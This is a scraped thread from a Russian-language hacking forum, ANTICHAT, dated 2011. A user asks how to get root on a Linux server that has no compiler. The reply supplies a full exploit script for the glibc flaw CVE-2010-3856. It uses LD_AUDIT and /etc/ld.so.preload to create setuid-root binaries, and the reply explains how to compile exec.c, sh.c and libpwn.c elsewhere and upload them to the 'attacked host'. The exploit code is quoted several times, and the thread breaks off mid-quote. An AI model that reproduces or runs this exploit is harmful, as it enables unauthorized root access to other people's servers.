ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|

21.09.2011, 17:51
|
|
Познавший АНТИЧАТ
Регистрация: 15.01.2008
Сообщений: 1,166
Провел на форуме: 2459557
Репутация:
606
|
|
2.6.18-194.11.3.el5PAE #1 SMP Mon Aug 30 17:02:48 EDT 2010 i686
Можно пробить чем-нибудь, кроме glibс? Для glibс, как я понимаю, нужен gcc, а его нет на сервере.
|
|
|

21.09.2011, 18:53
|
|
Познавший АНТИЧАТ
Регистрация: 27.08.2007
Сообщений: 1,107
Провел на форуме: 5386281
Репутация:
1177
|
|
Сообщение от попугай
попугай said:
2.6.18-194.11.3.el5PAE #1 SMP Mon Aug 30 17:02:48 EDT 2010 i686
Можно пробить чем-нибудь, кроме glibс? Для glibс, как я понимаю, нужен gcc, а его нет на сервере.
Для Glibc нужен один милипиздришный бинарник, который скомпилируется на любом шелле с Gcc.
|
|
|

21.09.2011, 19:41
|
|
Познавший АНТИЧАТ
Регистрация: 15.01.2008
Сообщений: 1,166
Провел на форуме: 2459557
Репутация:
606
|
|
Сообщение от Tigger
Tigger said:
Для Glibc нужен один милипиздришный бинарник, который скомпилируется на любом шелле с Gcc.
Не понимаю, как Glibc-експлоит можно запустить без gcc? Сам эксплоит основан на компиляции же.
Вот к примеру.
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#FF8000"]#!/bin/bash
# CVE-2010-3856
# Author: deadbyte
[/COLOR][COLOR="#0000BB"]OUTPUT[/COLOR][COLOR="#007700"]=/[/COLOR][COLOR="#0000BB"]etc[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]ld[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]so[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]preload
MASK[/COLOR][COLOR="#007700"]=`[/COLOR][COLOR="#DD0000"]umask[/COLOR][COLOR="#007700"]`
[/COLOR][COLOR="#0000BB"]umask 0
LD_AUDIT[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"libmemusage.so"[/COLOR][COLOR="#0000BB"]MEMUSAGE_OUTPUT[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#0000BB"]$OUTPUT[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#0000BB"]ping 2[/COLOR][COLOR="#007700"]> /[/COLOR][COLOR="#0000BB"]dev[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]null
[/COLOR][COLOR="#007700"]if [ ! -[/COLOR][COLOR="#0000BB"]f $OUTPUT[/COLOR][COLOR="#007700"]];[/COLOR][COLOR="#0000BB"]then
[/COLOR][COLOR="#007700"]echo[/COLOR][COLOR="#DD0000"]"System does not appear to be vulnerable"
[/COLOR][COLOR="#007700"]exit[/COLOR][COLOR="#0000BB"]0
fi
[/COLOR][COLOR="#007700"]echo -[/COLOR][COLOR="#0000BB"]n[/COLOR][COLOR="#007700"]>[/COLOR][COLOR="#0000BB"]$OUTPUT
umask $MASK
cat[/COLOR][COLOR="#007700"]>[/COLOR][COLOR="#0000BB"]exec[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]c[/COLOR][COLOR="#007700"]
#include
[/COLOR][COLOR="#0000BB"]main[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]int argc[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]char[/COLOR][COLOR="#007700"]*[/COLOR][COLOR="#0000BB"]argv[/COLOR][COLOR="#007700"][])
{
if([/COLOR][COLOR="#0000BB"]argc[/COLOR][COLOR="#007700"]==[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"]) {
[/COLOR][COLOR="#0000BB"]setgid[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#0000BB"]setuid[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]system[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]argv[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]]); }
return[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];
}
[/COLOR][COLOR="#0000BB"]EOF
gcc exec[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]c[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]o exec
cat[/COLOR][COLOR="#007700"]>[/COLOR][COLOR="#0000BB"]sh[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]c[/COLOR][COLOR="#007700"]
#include
#include
[/COLOR][COLOR="#0000BB"]int main[/COLOR][COLOR="#007700"]()
{
[/COLOR][COLOR="#0000BB"]setuid[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]geteuid[/COLOR][COLOR="#007700"]());
[/COLOR][COLOR="#0000BB"]setgid[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]getegid[/COLOR][COLOR="#007700"]());
[/COLOR][COLOR="#0000BB"]execl[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"/bin/sh"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"bin/sh"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"-c"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"cp ./exec ./exec2; chown root ./exec2; chgrp root ./exec2; chmod 755 ./exec2; chmod +s ./exec2;"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]NULL[/COLOR][COLOR="#007700"]);
return[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];
}
[/COLOR][COLOR="#0000BB"]EOF
gcc sh[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]c[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]o sh
cat[/COLOR][COLOR="#007700"]>[/COLOR][COLOR="#0000BB"]libpwn[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]c[/COLOR][COLOR="#007700"]
#include
[/COLOR][COLOR="#0000BB"]uid_t getuid[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]void[/COLOR][COLOR="#007700"])
{
[/COLOR][COLOR="#0000BB"]chown[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#0000BB"]$PWD[/COLOR][COLOR="#DD0000"]/sh"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]chmod[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#0000BB"]$PWD[/COLOR][COLOR="#DD0000"]/sh"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]S_ISUID[/COLOR][COLOR="#007700"]|[/COLOR][COLOR="#0000BB"]S_IRUSR[/COLOR][COLOR="#007700"]|[/COLOR][COLOR="#0000BB"]S_IWUSR[/COLOR][COLOR="#007700"]|[/COLOR][COLOR="#0000BB"]S_IXUSR[/COLOR][COLOR="#007700"]|[/COLOR][COLOR="#0000BB"]S_IRGRP[/COLOR][COLOR="#007700"]|[/COLOR][COLOR="#0000BB"]S_IXGRP[/COLOR][COLOR="#007700"]|[/COLOR][COLOR="#0000BB"]S_IROTH[/COLOR][COLOR="#007700"]|[/COLOR][COLOR="#0000BB"]S_IXOTH[/COLOR][COLOR="#007700"]);
return[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];
}
[/COLOR][COLOR="#0000BB"]EOF
gcc[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]Wall[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]fPIC[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]c libpwn[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]c
gcc[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]shared[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]Wl[/COLOR][COLOR="#007700"],-[/COLOR][COLOR="#0000BB"]soname[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]libpwn[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]so[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]o libpwn[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]so libpwn[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]o
[/COLOR][COLOR="#007700"]echo[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#0000BB"]$PWD[/COLOR][COLOR="#DD0000"]/libpwn.so"[/COLOR][COLOR="#007700"]>[/COLOR][COLOR="#0000BB"]$OUTPUT
ping 2[/COLOR][COLOR="#007700"]> /[/COLOR][COLOR="#0000BB"]dev[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]null
[/COLOR][COLOR="#007700"]echo -[/COLOR][COLOR="#0000BB"]n[/COLOR][COLOR="#007700"]>[/COLOR][COLOR="#0000BB"]$OUTPUT
[/COLOR][COLOR="#007700"]./[/COLOR][COLOR="#0000BB"]sh
[/COLOR][/COLOR]
В этом bash-скрипте происходит вызов gcc sh.c -o sh
|
|
|

21.09.2011, 20:01
|
|
Познавший АНТИЧАТ
Регистрация: 27.08.2007
Сообщений: 1,107
Провел на форуме: 5386281
Репутация:
1177
|
|
Сообщение от попугай
попугай said:
Не понимаю, как Glibc-експлоит можно запустить без gcc? Сам эксплоит основан на компиляции же.
Вот к примеру.
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#FF8000"]#!/bin/bash
# CVE-2010-3856
# Author: deadbyte
[/COLOR][COLOR="#0000BB"]OUTPUT[/COLOR][COLOR="#007700"]=/[/COLOR][COLOR="#0000BB"]etc[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]ld[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]so[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]preload
MASK[/COLOR][COLOR="#007700"]=`[/COLOR][COLOR="#DD0000"]umask[/COLOR][COLOR="#007700"]`
[/COLOR][COLOR="#0000BB"]umask 0
LD_AUDIT[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"libmemusage.so"[/COLOR][COLOR="#0000BB"]MEMUSAGE_OUTPUT[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#0000BB"]$OUTPUT[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#0000BB"]ping 2[/COLOR][COLOR="#007700"]> /[/COLOR][COLOR="#0000BB"]dev[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]null
[/COLOR][COLOR="#007700"]if [ ! -[/COLOR][COLOR="#0000BB"]f $OUTPUT[/COLOR][COLOR="#007700"]];[/COLOR][COLOR="#0000BB"]then
[/COLOR][COLOR="#007700"]echo[/COLOR][COLOR="#DD0000"]"System does not appear to be vulnerable"
[/COLOR][COLOR="#007700"]exit[/COLOR][COLOR="#0000BB"]0
fi
[/COLOR][COLOR="#007700"]echo -[/COLOR][COLOR="#0000BB"]n[/COLOR][COLOR="#007700"]>[/COLOR][COLOR="#0000BB"]$OUTPUT
umask $MASK
cat[/COLOR][COLOR="#007700"]>[/COLOR][COLOR="#0000BB"]exec[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]c[/COLOR][COLOR="#007700"]
#include
[/COLOR][COLOR="#0000BB"]main[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]int argc[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]char[/COLOR][COLOR="#007700"]*[/COLOR][COLOR="#0000BB"]argv[/COLOR][COLOR="#007700"][])
{
if([/COLOR][COLOR="#0000BB"]argc[/COLOR][COLOR="#007700"]==[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"]) {
[/COLOR][COLOR="#0000BB"]setgid[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#0000BB"]setuid[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]system[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]argv[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]]); }
return[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];
}
[/COLOR][COLOR="#0000BB"]EOF
gcc exec[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]c[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]o exec
cat[/COLOR][COLOR="#007700"]>[/COLOR][COLOR="#0000BB"]sh[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]c[/COLOR][COLOR="#007700"]
#include
#include
[/COLOR][COLOR="#0000BB"]int main[/COLOR][COLOR="#007700"]()
{
[/COLOR][COLOR="#0000BB"]setuid[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]geteuid[/COLOR][COLOR="#007700"]());
[/COLOR][COLOR="#0000BB"]setgid[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]getegid[/COLOR][COLOR="#007700"]());
[/COLOR][COLOR="#0000BB"]execl[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"/bin/sh"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"bin/sh"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"-c"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"cp ./exec ./exec2; chown root ./exec2; chgrp root ./exec2; chmod 755 ./exec2; chmod +s ./exec2;"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]NULL[/COLOR][COLOR="#007700"]);
return[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];
}
[/COLOR][COLOR="#0000BB"]EOF
gcc sh[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]c[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]o sh
cat[/COLOR][COLOR="#007700"]>[/COLOR][COLOR="#0000BB"]libpwn[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]c[/COLOR][COLOR="#007700"]
#include
[/COLOR][COLOR="#0000BB"]uid_t getuid[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]void[/COLOR][COLOR="#007700"])
{
[/COLOR][COLOR="#0000BB"]chown[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#0000BB"]$PWD[/COLOR][COLOR="#DD0000"]/sh"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]chmod[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#0000BB"]$PWD[/COLOR][COLOR="#DD0000"]/sh"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]S_ISUID[/COLOR][COLOR="#007700"]|[/COLOR][COLOR="#0000BB"]S_IRUSR[/COLOR][COLOR="#007700"]|[/COLOR][COLOR="#0000BB"]S_IWUSR[/COLOR][COLOR="#007700"]|[/COLOR][COLOR="#0000BB"]S_IXUSR[/COLOR][COLOR="#007700"]|[/COLOR][COLOR="#0000BB"]S_IRGRP[/COLOR][COLOR="#007700"]|[/COLOR][COLOR="#0000BB"]S_IXGRP[/COLOR][COLOR="#007700"]|[/COLOR][COLOR="#0000BB"]S_IROTH[/COLOR][COLOR="#007700"]|[/COLOR][COLOR="#0000BB"]S_IXOTH[/COLOR][COLOR="#007700"]);
return[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];
}
[/COLOR][COLOR="#0000BB"]EOF
gcc[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]Wall[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]fPIC[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]c libpwn[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]c
gcc[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]shared[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]Wl[/COLOR][COLOR="#007700"],-[/COLOR][COLOR="#0000BB"]soname[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]libpwn[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]so[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]o libpwn[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]so libpwn[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]o
[/COLOR][COLOR="#007700"]echo[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#0000BB"]$PWD[/COLOR][COLOR="#DD0000"]/libpwn.so"[/COLOR][COLOR="#007700"]>[/COLOR][COLOR="#0000BB"]$OUTPUT
ping 2[/COLOR][COLOR="#007700"]> /[/COLOR][COLOR="#0000BB"]dev[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]null
[/COLOR][COLOR="#007700"]echo -[/COLOR][COLOR="#0000BB"]n[/COLOR][COLOR="#007700"]>[/COLOR][COLOR="#0000BB"]$OUTPUT
[/COLOR][COLOR="#007700"]./[/COLOR][COLOR="#0000BB"]sh
[/COLOR][/COLOR]
В этом bash-скрипте происходит вызов gcc sh.c -o sh
1. Компилируешь бинарники на другой тачке
2. Меняешь башик примерно таким образом:
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#FF8000"]#!/bin/bash
# CVE-2010-3856
# Author: deadbyte
[/COLOR][COLOR="#0000BB"]OUTPUT[/COLOR][COLOR="#007700"]=/[/COLOR][COLOR="#0000BB"]etc[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]ld[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]so[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]preload
MASK[/COLOR][COLOR="#007700"]=`[/COLOR][COLOR="#DD0000"]umask[/COLOR][COLOR="#007700"]`
[/COLOR][COLOR="#0000BB"]umask 0
LD_AUDIT[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"libmemusage.so"[/COLOR][COLOR="#0000BB"]MEMUSAGE_OUTPUT[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#0000BB"]$OUTPUT[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#0000BB"]ping 2[/COLOR][COLOR="#007700"]> /[/COLOR][COLOR="#0000BB"]dev[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]null
[/COLOR][COLOR="#007700"]if [ ! -[/COLOR][COLOR="#0000BB"]f $OUTPUT[/COLOR][COLOR="#007700"]];[/COLOR][COLOR="#0000BB"]then
[/COLOR][COLOR="#007700"]echo[/COLOR][COLOR="#DD0000"]"System does not appear to be vulnerable"
[/COLOR][COLOR="#007700"]exit[/COLOR][COLOR="#0000BB"]0
fi
[/COLOR][COLOR="#007700"]echo -[/COLOR][COLOR="#0000BB"]n[/COLOR][COLOR="#007700"]>[/COLOR][COLOR="#0000BB"]$OUTPUT
umask $MASK
[/COLOR][COLOR="#007700"]echo[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#0000BB"]$PWD[/COLOR][COLOR="#DD0000"]/libpwn.so"[/COLOR][COLOR="#007700"]>[/COLOR][COLOR="#0000BB"]$OUTPUT
ping 2[/COLOR][COLOR="#007700"]> /[/COLOR][COLOR="#0000BB"]dev[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]null
[/COLOR][COLOR="#007700"]echo -[/COLOR][COLOR="#0000BB"]n[/COLOR][COLOR="#007700"]>[/COLOR][COLOR="#0000BB"]$OUTPUT
[/COLOR][COLOR="#007700"]./[/COLOR][COLOR="#0000BB"]sh
[/COLOR][/COLOR]
Т.е. на другой тачке создай 3 файла:
1. exec.c
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#FF8000"]#include
#include
[/COLOR][COLOR="#0000BB"]main[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]int argc[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]char[/COLOR][COLOR="#007700"]*[/COLOR][COLOR="#0000BB"]argv[/COLOR][COLOR="#007700"][])
{
if([/COLOR][COLOR="#0000BB"]argc[/COLOR][COLOR="#007700"]==[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"]) {
[/COLOR][COLOR="#0000BB"]setgid[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#0000BB"]setuid[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]system[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]argv[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]]); }
return[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];
}
[/COLOR][/COLOR]
2. sh.c
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#FF8000"]#include
#include
#include
[/COLOR][COLOR="#0000BB"]int main[/COLOR][COLOR="#007700"]()
{
[/COLOR][COLOR="#0000BB"]setuid[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]geteuid[/COLOR][COLOR="#007700"]());
[/COLOR][COLOR="#0000BB"]setgid[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]getegid[/COLOR][COLOR="#007700"]());
[/COLOR][COLOR="#0000BB"]execl[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"/bin/sh"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"bin/sh"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"-c"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"cp ./exec ./exec2; chown root ./exec2; chgrp root ./exec2; chmod 755 ./exec2; chmod +s ./exec2;"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]NULL[/COLOR][COLOR="#007700"]);
return[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];
}
[/COLOR][/COLOR]
3. libpwn.c
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#FF8000"]#include
#include
[/COLOR][COLOR="#0000BB"]uid_t getuid[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]void[/COLOR][COLOR="#007700"])
{
[/COLOR][COLOR="#0000BB"]chown[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#0000BB"]$PWD[/COLOR][COLOR="#DD0000"]/sh"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]chmod[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#0000BB"]$PWD[/COLOR][COLOR="#DD0000"]/sh"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]S_ISUID[/COLOR][COLOR="#007700"]|[/COLOR][COLOR="#0000BB"]S_IRUSR[/COLOR][COLOR="#007700"]|[/COLOR][COLOR="#0000BB"]S_IWUSR[/COLOR][COLOR="#007700"]|[/COLOR][COLOR="#0000BB"]S_IXUSR[/COLOR][COLOR="#007700"]|[/COLOR][COLOR="#0000BB"]S_IRGRP[/COLOR][COLOR="#007700"]|[/COLOR][COLOR="#0000BB"]S_IXGRP[/COLOR][COLOR="#007700"]|[/COLOR][COLOR="#0000BB"]S_ IROTH[/COLOR][COLOR="#007700"]|[/COLOR][COLOR="#0000BB"]S_IXOTH[/COLOR][COLOR="#007700"]);
return[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];
}
[/COLOR][/COLOR]
Вместо $PWD впиши каталог, в котором будешь выполнять все это на атакуемой тачке, к примеру /tmp.
Затем выполни команды:
1. gcc exec.c -o exec
2. gcc sh.c -o sh
3. gcc -Wall -fPIC -c libpwn.c
4. gcc -shared -Wl,-soname,libpwn.so -o libpwn.so libpwn.o
И все файлы, полученные на выходе, залей на атакуемый хост рядом с своим баш скриптиком.
|
|
|

21.09.2011, 21:17
|
|
Познавший АНТИЧАТ
Регистрация: 15.01.2008
Сообщений: 1,166
Провел на форуме: 2459557
Репутация:
606
|
|
Сообщение от Tigger
Tigger said:
1. Компилируешь бинарники на другой тачке
2. Меняешь башик примерно таким образом:
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#FF8000"]#!/bin/bash
# CVE-2010-3856
# Author: deadbyte
[/COLOR][COLOR="#0000BB"]OUTPUT[/COLOR][COLOR="#007700"]=/[/COLOR][COLOR="#0000BB"]etc[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]ld[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]so[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]preload
MASK[/COLOR][COLOR="#007700"]=`[/COLOR][COLOR="#DD0000"]umask[/COLOR][COLOR="#007700"]`
[/COLOR][COLOR="#0000BB"]umask 0
LD_AUDIT[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"libmemusage.so"[/COLOR][COLOR="#0000BB"]MEMUSAGE_OUTPUT[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#0000BB"]$OUTPUT[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#0000BB"]ping 2[/COLOR][COLOR="#007700"]> /[/COLOR][COLOR="#0000BB"]dev[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]null
[/COLOR][COLOR="#007700"]if [ ! -[/COLOR][COLOR="#0000BB"]f $OUTPUT[/COLOR][COLOR="#007700"]];[/COLOR][COLOR="#0000BB"]then
[/COLOR][COLOR="#007700"]echo[/COLOR][COLOR="#DD0000"]"System does not appear to be vulnerable"
[/COLOR][COLOR="#007700"]exit[/COLOR][COLOR="#0000BB"]0
fi
[/COLOR][COLOR="#007700"]echo -[/COLOR][COLOR="#0000BB"]n[/COLOR][COLOR="#007700"]>[/COLOR][COLOR="#0000BB"]$OUTPUT
umask $MASK
[/COLOR][COLOR="#007700"]echo[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#0000BB"]$PWD[/COLOR][COLOR="#DD0000"]/libpwn.so"[/COLOR][COLOR="#007700"]>[/COLOR][COLOR="#0000BB"]$OUTPUT
ping 2[/COLOR][COLOR="#007700"]> /[/COLOR][COLOR="#0000BB"]dev[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]null
[/COLOR][COLOR="#007700"]echo -[/COLOR][COLOR="#0000BB"]n[/COLOR][COLOR="#007700"]>[/COLOR][COLOR="#0000BB"]$OUTPUT
[/COLOR][COLOR="#007700"]./[/COLOR][COLOR="#0000BB"]sh
[/COLOR][/COLOR]
Т.е. на другой тачке создай 3 файла:
1. exec.c
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#FF8000"]#include
#include
[/COLOR][COLOR="#0000BB"]main[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]int argc[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]char[/COLOR][COLOR="#007700"]*[/COLOR][COLOR="#0000BB"]argv[/COLOR][COLOR="#007700"][])
{
if([/COLOR][COLOR="#0000BB"]argc[/COLOR][COLOR="#007700"]==[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"]) {
[/COLOR][COLOR="#0000BB"]setgid[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#0000BB"]setuid[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]system[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]argv[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]]); }
